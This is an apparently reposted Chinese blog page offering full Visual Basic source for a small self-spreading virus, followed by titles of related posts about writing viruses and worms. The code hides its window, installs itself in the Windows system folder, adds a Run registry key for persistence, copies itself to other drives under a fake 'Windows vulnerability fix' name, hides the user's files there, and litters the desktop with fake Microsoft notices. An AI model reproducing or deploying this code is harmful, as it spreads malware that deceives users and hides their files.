VB编写病毒

转载 2007年09月30日 13:35:00

Private n盘
Private n路径1$
Private n路径2$

Private Sub Command1_Click()
End
End Sub

Private Sub Form_Load()
App.TaskVisible = False
Randomize

If Dir("c:/windows/system/Hii", vbNormal) = "" Then
         
    ''''''''''''''''''''''''''''''''''''''''''''''''''''复制到C盘
     If Dir("c:/windows/system/Hii.exe", vbNormal) = "" Then
          f = App.Path + "/" + App.EXEName + ".exe"
          d = "C:/WINDOWS/system/Hii.exe"
          FileCopy f, d
    End If
   ''''''''''''''''''''''''''''''''''''''''''''''''''''    
     
     '''''''''''''''''''''''''''''''''''''''''添加到启动注册表
    Dim Reg
    Set Reg = CreateObject("wscript.Shell")
    Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/Hii", "C:/WINDOWS/system/Hii.exe"
    ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
 
     
  ''''''''''''''''''''''''''''''''''''''''''判断盘符数量
      
    FileCopy App.Path + "/" + App.EXEName + ".exe", "C:/Windows漏洞修复.doc"
    Open "c:/windows/system/Hii" For Output As #1
       Write #1, 1
    Close #1
    
    FileCopy App.Path + "/" + App.EXEName + ".exe", "D:/Windows漏洞修复.doc"
     Open "c:/windows/system/Hii" For Output As #1
       
       Write #1, 2
    Close #1
       
    FileCopy App.Path + "/" + App.EXEName + ".exe", "E:/Windows漏洞修复.doc"
   Open "c:/windows/system/Hii" For Output As #1
       Write #1, 3
   Close #1
    
    FileCopy App.Path + "/" + App.EXEName + ".exe", "F:/Windows漏洞修复.doc"
     Open "c:/windows/system/Hii" For Output As #2
       Write #2, 4
    Close #2
      
    FileCopy App.Path + "/" + App.EXEName + ".exe", "G:/Windows漏洞修复.doc"
   Open "c:/windows/system/Hii" For Output As #3
       Write #3, 5
   Close #3
       
    FileCopy App.Path + "/" + App.EXEName + ".exe", "H:/Windows漏洞修复.doc"
  Open "c:/windows/system/Hii" For Output As #4
     
       Write #4, 6
  Close #4
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Else
   
     
    '''''''''''''''''''''''''''''''''''''''''添加到启动注册表
    Set Reg = CreateObject("wscript.Shell")
    Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/Hii", "C:/WINDOWS/system/Hii.exe"
    ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  
     Open "c:/windows/system/Hii" For Input As #2
      Input #2, n盘
         
     If n盘 = 1 Then n路径1$ = "E:/": n路径2$ = "F:/"
     If n盘 = 2 Then n路径1$ = "F:/": n路径2$ = "G:/"
     If n盘 = 3 Then n路径1$ = "G:/": n路径2$ = "H:/"
     If n盘 = 4 Then n路径1$ = "H:/": n路径2$ = "I:/"
     If n盘 = 5 Then n路径1$ = "I:/": n路径2$ = "J:/"
     If n盘 = 6 Then n路径1$ = "J:/": n路径2$ = "K:/"
     
          Text1.Text = Str(n盘) + "个  " + n路径1$ + n路径2$
     
     Timer传播.Enabled = True
     Timer发作.Enabled = True     
End If
End Sub

Private Sub Timer传播_Timer()

 ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径二是否存在
  If Dir(n路径2$, vbDirectory) <> "" Then
     
       myfile = Dir(n路径2$, vbNormal)
       Do While myfile <> ""
           If n路径2$ + myfile <> n路径2$ + "Windows漏洞修复.exe" Then SetAttr n路径2$ + myfile, vbHidden
           myfile = Dir
       Loop
          
     If Dir(n路径2$ + "Windows漏洞修复.exe", vbNormal) = "" Then
        f = App.Path + "/" + App.EXEName + ".exe"
        d = n路径2$ + "Windows漏洞修复.exe"
        FileCopy f, d
        Text1.Text = "ok"
        GoTo 100
     End If
  End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''  
  
  ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''判断路径1是否存在
  If Dir(n路径1$, vbDirectory) <> "" Then
       myfile = Dir(n路径1$, vbNormal)
       Do While myfile <> ""
           If n路径1$ + myfile <> n路径1$ + "Windows漏洞修复.exe" Then SetAttr n路径1$ + myfile, vbHidden
           myfile = Dir
       Loop    
     
If Dir(n路径1$ + "Windows漏洞修复.exe", vbNormal) = "" Then
      
        f = App.Path + "/" + App.EXEName + ".exe"
        d = n路径1$ + "Windows漏洞修复.exe"
        FileCopy f, d
        Text1.Text = "ok"
     End If
  End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

100
End Sub

Private Sub Timer发作_Timer()
nName$ = Str(Fix(Rnd * 100))
If Dir("C:/Documents and Settings/All Users/桌面/" + "微软" + nName$ + "号.ppt", vbNormal) = "" Then
    Open "C:/Documents and Settings/All Users/桌面/" + "微软" + nName$ + "号.ppt" For Output As #3
    Write #3, "微软漏洞修复,请稍候..."
    Close #3
End If
End Sub  

vb编写的小病毒程序

  • 2011年03月20日 14:40
  • 3.63MB
  • 下载

自己动手写病毒

引:前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了。但是我现在学了入门才发现这门技术实际上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无法...
  • baskbeast
  • baskbeast
  • 2016年04月22日 08:18
  • 2039

C编写的简单病毒程序

C,是程序员最常用的编程语言之一。类似C等高级编程语言为开发人员提供了大量的内置函数,可以方便程序员编写各种跨平台的安心的应用编程。对于编写病毒而言,也方便了程序员来用自己擅长的语言来编写,但同时也带...
  • Crystal_lpx
  • Crystal_lpx
  • 2014年08月18日 23:06
  • 1121

PE 文件型病毒编写实验(一)

这个学期终于圆了当年来读渣电的网络安全专业的一个梦:PE病毒编写。想起了高中那会儿熬夜看看雪论坛瞎搞什么软件破解,可是搞到后面很多东西不理解做的不深入,所以就先一本心思的考上渣电,然后再来深入的学习一...
  • jmh1996
  • jmh1996
  • 2017年11月09日 21:11
  • 164

web蠕虫编写过程

*导言      *自动化    *搜集目标 *绕过IDS,多态性和通讯        *结语      ===导言===                        ...
  • liuhuihlf
  • liuhuihlf
  • 2016年12月10日 12:23
  • 1243

用bat写的一个小病毒

最近看了一点bat的知识,具体说是看了一个博客:http://blog.csdn.net/qsyzb/article/details/17364581 用了三天才看完=。=,感觉作者整理整理可以把博...
  • QianShouYuZhiBo
  • QianShouYuZhiBo
  • 2013年12月20日 20:15
  • 3424

最简单的模拟U盘病毒(Autorun.inf)

最简单的模拟U盘病毒(Autorun.inf)
  • qq78442761
  • qq78442761
  • 2016年11月24日 22:24
  • 1014

u盘病毒制作教程和源码

U盘病毒制作教程 知识点: --------------------------------------------------------------- 新建文件夹的名字是: 回收站.{...
  • liujiayu2
  • liujiayu2
  • 2015年08月08日 10:23
  • 3577

Python 进行病毒样本特征分析

这几天一直在做有关病毒样本特征提取的工作,
  • u010484477
  • u010484477
  • 2014年06月03日 21:39
  • 1264

如何用VB编写自己的DLL文件,并调用其中的函数

如何用VB编写自己的DLL文件,并调用其中的函数?
  • sillyboy1104
  • sillyboy1104
  • 2015年03月09日 22:54
  • 2636
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:VB编写病毒
举报原因:
原因补充:

(最多只允许输入30个字)